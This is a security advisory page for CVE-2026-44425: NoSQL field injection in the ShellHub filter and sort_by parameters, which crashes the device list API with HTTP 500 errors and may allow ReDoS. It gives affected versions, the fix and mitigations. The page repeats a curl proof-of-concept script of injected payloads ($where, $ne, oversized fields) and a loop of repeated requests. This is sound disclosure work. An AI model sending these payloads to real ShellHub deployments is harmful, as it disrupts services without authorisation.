CVE-2026-44425: Github.com/shellhub io/shellhub Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-47r2-v3x6-wff9
CVSS 5.4
CWE-1333 CWE-20 CWE-943
Published
Advisory Summary

CVE-2026-44425 is a MODERATE (CVSS 5.4) denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Github.com/shellhub io/shellhub libraries in the Go ecosystem. The issue involves shellhub has crash-dos via field injection in filter and sort-by parameters. Remediation is available by upgrading affected packages to version 0.24.2.

CVE-2026-44425 at a Glance

CVE Identifier CVE-2026-44425
GHSA Identifier GHSA-47r2-v3x6-wff9
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product Github.com/shellhub io/shellhub
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2026-44425

To remediate this vulnerability, upgrade all affected Github.com/shellhub io/shellhub dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/shellhub-io/shellhub fixed: 0.24.2
Upgrade github.com/shellhub-io/shellhub to 0.24.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/shellhub-io/shellhub

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-44425, inspect your project dependencies for Github.com/shellhub io/shellhub:

inspect dependencies for github.com/shellhub-io/shellhub

Analyze the terminal output to locate any version of Github.com/shellhub io/shellhub in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.24.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Github.com/shellhub io/shellhub, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation: 1. The `name` field of each filter property in the base64-encoded `filter` query parameter. 2. The `sort_by` query parameter. Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied. ## Severity **CVSS 3.1: 6.5 (Medium)** CWE-20 (Improper Input Validation) CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) ## Affected versions ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (`api/store/mongo/query-options.go`). ## Root cause ### Vector 1 — Filter field name `api/store/mongo/query-options.go:140`: ```go conditions = append(conditions, bson.M{param.Name: property}) ``` `param.Name` is the `name` field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names (`$where`, `$ne`, `$or`, `$regex`) and virtual pipeline-computed fields (`namespace`, paths containing `$`) to be injected. ### Vector 2 — Sort-by field Similar pattern in the sort pipeline where the `sort_by` query parameter is used to build `bson.M{"$sort": {sortBy: order}}` without validation. ### Additional observation `fromContains` (`api/store/mongo/internal/filters.go:60-69`) passes user input directly as `$regex` value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets. ```go func fromContains(value interface{}) (bson.M, error) { switch value.(type) { case string: return bson.M{"$regex": value, "$options": "i"}, nil ``` ## Proof of concept (validated live against v0.24.1) ```bash TOKEN=<valid-user-jwt> # Helper: base64-encode a filter payload encode_filter() { python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1" } # --- Vector 1: filter field injection --- # Baseline: legitimate filter -> 200 F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=200 # Exploit 1a: Mongo operator as field name F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500 # Exploit 1b: nested object as value F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500 # Exploit 1c: pipeline-computed field as filter name F=$(encode_filter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500 # --- Vector 2: sort-by injection --- # Baseline: legitimate sort -> 200 curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=name" \ -H "Authorization: Bearer $TOKEN" # HTTP=200 # Exploit 2a: Mongo operator as sort field curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=\$where" \ -H "Authorization: Bearer $TOKEN" # HTTP=500 # Exploit 2b: path containing $ curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=_id.%24%24%24" \ -H "Authorization: Bearer $TOKEN" # HTTP=500 # Exploit 2c: oversized sort field (no length validation) curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=$(python3 -c 'print("A"*5000)')" \ -H "Authorization: Bearer $TOKEN" # HTTP=500 # Exploit 2d: non-indexable internal field curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=tenant_id" \ -H "Authorization: Bearer $TOKEN" # HTTP=500 # --- Repeat to demonstrate no rate limiting --- for i in $(seq 1 20); do curl -sS -o /dev/null -w "%{http_code} " "http://target/api/devices?sort_by=\$where" \ -H "Authorization: Bearer $TOKEN" done # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 ``` **Confirmed field values that trigger 500:** - Filter name: `$where`, `$regex`, `$or`, `$ne`, `remote_addr`, `tenant_id`, `namespace`, any path containing `$` after a `.` - Sort-by: `$where`, `_id.$$$`, `tenant_id`, `password.hash`, overly long strings **Observed response characteristics:** ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 X-Request-Id: <id> ← logged as error in backend ``` Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests. ## Impact - **Availability (low):** unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass fingerprinting. - **Information disclosure (low):** potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema. - **Resource exhaustion (potential):** user-controlled `$regex` value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments). - **Forensics difficulty:** unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs. ## Suggested fix 1. **Allowlist filter and sort field names per collection.** Add a whitelist of allowed `param.Name` and `sort_by` values for each model exposed via filters (`device`, `session`, etc.). Reject anything else with HTTP 400. 2. **Reject BSON operators in field names.** Even if an allowlist is not practical, reject values that: - start with `$` - contain `$` after a `.` - contain characters outside `[A-Za-z0-9_.]` - exceed a reasonable length (e.g., 64 characters) 3. **Validate `value` shape.** For `contains`/`eq`/`ne` operators, reject non-primitive values (objects, arrays of objects). 4. **Catch aggregation errors.** In `api/store/mongo/query-options.go`, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500. 5. **Limit regex complexity.** In `fromContains`, reject regex values longer than N characters or containing nested quantifiers (`(...)+`, `(...)*`, `(.+)+`, etc.) to mitigate ReDoS.

CVE-2026-44425 Affected Github.com/shellhub io/shellhub Versions

1 component(s)
Fixed Versions:
0.24.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/shellhub-io/shellhub
Go
< 0.24.2
0.24.2

References

Frequently Asked Questions

What is CVE-2026-44425?
CVE-2026-44425 is a security vulnerability in Github.com/shellhub io/shellhub involving ShellHub has crash-DoS via field injection in filter and sort-by parameters under CWE-1333: Inefficient Regular Expression Complexity.
Which Github.com/shellhub io/shellhub versions are affected?
Affected versions include releases prior to 0.24.2 across affected packages: github.com/shellhub-io/shellhub.
What version fixes CVE-2026-44425?
Upgrading to 0.24.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/shellhub-io/shellhub affected?
Yes, github.com/shellhub-io/shellhub is affected in releases prior to 0.24.2. Upgrade your dependency to 0.24.2 or later.
What is the CVSS score of CVE-2026-44425?
CVE-2026-44425 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L.
What CWE is associated with CVE-2026-44425?
CVE-2026-44425 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check Go dependencies for CVE-2026-44425?
Run the dependency tree command: 'inspect dependencies for github.com/shellhub-io/shellhub'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-47r2-v3x6-wff9",
  "modified" : "2026-05-14T20:43:23Z",
  "published" : "2026-05-06T23:28:05Z",
  "aliases" : [ "CVE-2026-44425" ],
  "summary" : "ShellHub has crash-DoS via field injection in filter and sort-by parameters",
  "details" : "## Summary\nThe device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:\n\n  1. The `name` field of each filter property in the base64-encoded `filter`\n     query parameter.\n  2. The `sort_by` query parameter.\n\nAny authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.\n\n## Severity\n**CVSS 3.1: 6.5 (Medium)** \nCWE-20 (Improper Input Validation) \nCWE-943 (Improper Neutralization of Special Elements in Data Query Logic)\n\n## Affected versions\nShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (`api/store/mongo/query-options.go`).\n\n## Root cause\n\n### Vector 1 — Filter field name\n  `api/store/mongo/query-options.go:140`:\n\n  ```go\n  conditions = append(conditions, bson.M{param.Name: property})\n  ```\n\n`param.Name` is the `name` field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names (`$where`, `$ne`, `$or`, `$regex`) and virtual pipeline-computed fields (`namespace`, paths containing `$`) to be  injected.\n\n### Vector 2 — Sort-by field\nSimilar pattern in the sort pipeline where the `sort_by` query parameter is used to build `bson.M{\"$sort\": {sortBy: order}}` without validation.\n\n### Additional observation\n`fromContains` (`api/store/mongo/internal/filters.go:60-69`) passes user input directly as `$regex` value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.\n\n  ```go\n  func fromContains(value interface{}) (bson.M, error) {\n      switch value.(type) {\n      case string:\n          return bson.M{\"$regex\": value, \"$options\": \"i\"}, nil\n  ```\n\n## Proof of concept (validated live against v0.24.1)\n\n  ```bash\n  TOKEN=<valid-user-jwt>\n\n  # Helper: base64-encode a filter payload\n  encode_filter() {\n    python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' \"$1\"\n  }\n\n  # --- Vector 1: filter field injection ---\n\n  # Baseline: legitimate filter -> 200\n  F=$(encode_filter '[{\"type\":\"property\",\"params\":{\"name\":\"name\",\"operator\":\"contains\",\"value\":\"anything\"}}]')\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=200\n\n  # Exploit 1a: Mongo operator as field name\n  F=$(encode_filter '[{\"type\":\"property\",\"params\":{\"name\":\"$where\",\"operator\":\"contains\",\"value\":\"x\"}}]')\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 1b: nested object as value\n  F=$(encode_filter '[{\"type\":\"property\",\"params\":{\"name\":\"status\",\"operator\":\"eq\",\"value\":{\"$ne\":\"accepted\"}}}]')\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 1c: pipeline-computed field as filter name\n  F=$(encode_filter '[{\"type\":\"property\",\"params\":{\"name\":\"namespace\",\"operator\":\"contains\",\"value\":\".\"}}]')\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # --- Vector 2: sort-by injection ---\n\n  # Baseline: legitimate sort -> 200\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=name\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=200\n\n  # Exploit 2a: Mongo operator as sort field\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=\\$where\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2b: path containing $\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=_id.%24%24%24\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2c: oversized sort field (no length validation)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=$(python3 -c 'print(\"A\"*5000)')\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2d: non-indexable internal field\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=tenant_id\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # --- Repeat to demonstrate no rate limiting ---\n  for i in $(seq 1 20); do\n    curl -sS -o /dev/null -w \"%{http_code} \" \"http://target/api/devices?sort_by=\\$where\" \\\n      -H \"Authorization: Bearer $TOKEN\"\n  done\n  # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500\n  ```\n\n  **Confirmed field values that trigger 500:**\n  - Filter name: `$where`, `$regex`, `$or`, `$ne`, `remote_addr`, `tenant_id`, `namespace`, any path containing `$` after a `.`\n  - Sort-by: `$where`, `_id.$$$`, `tenant_id`, `password.hash`, overly long strings\n\n  **Observed response characteristics:**\n  ```\n  HTTP/1.1 500 Internal Server Error\n  Content-Length: 0\n  X-Request-Id: <id>    ← logged as error in backend\n  ```\n\nResponse time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.\n\n## Impact\n  - **Availability (low):** unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass\nfingerprinting.\n  - **Information disclosure (low):** potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.\n  - **Resource exhaustion (potential):** user-controlled `$regex` value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).\n  - **Forensics difficulty:** unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.\n\n## Suggested fix\n\n  1. **Allowlist filter and sort field names per collection.** Add a whitelist of allowed `param.Name` and `sort_by` values for each model exposed via filters (`device`, `session`, etc.). Reject anything else with HTTP 400.\n\n  2. **Reject BSON operators in field names.** Even if an allowlist is not practical, reject values that:\n     - start with `$`\n     - contain `$` after a `.`\n     - contain characters outside `[A-Za-z0-9_.]`\n     - exceed a reasonable length (e.g., 64 characters)\n\n  3. **Validate `value` shape.** For `contains`/`eq`/`ne` operators, reject non-primitive values (objects, arrays of objects).\n\n  4. **Catch aggregation errors.** In `api/store/mongo/query-options.go`,  wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.\n\n  5. **Limit regex complexity.** In `fromContains`, reject regex values longer than N characters or containing nested quantifiers (`(...)+`, `(...)*`, `(.+)+`, etc.) to mitigate ReDoS.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/shellhub-io/shellhub"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.24.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.24.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/shellhub-io/shellhub/security/advisories/GHSA-47r2-v3x6-wff9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44425"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/shellhub-io/shellhub"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333", "CWE-20", "CWE-943" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T23:28:05Z",
    "nvd_published_at" : "2026-05-13T22:16:44Z"
  }
}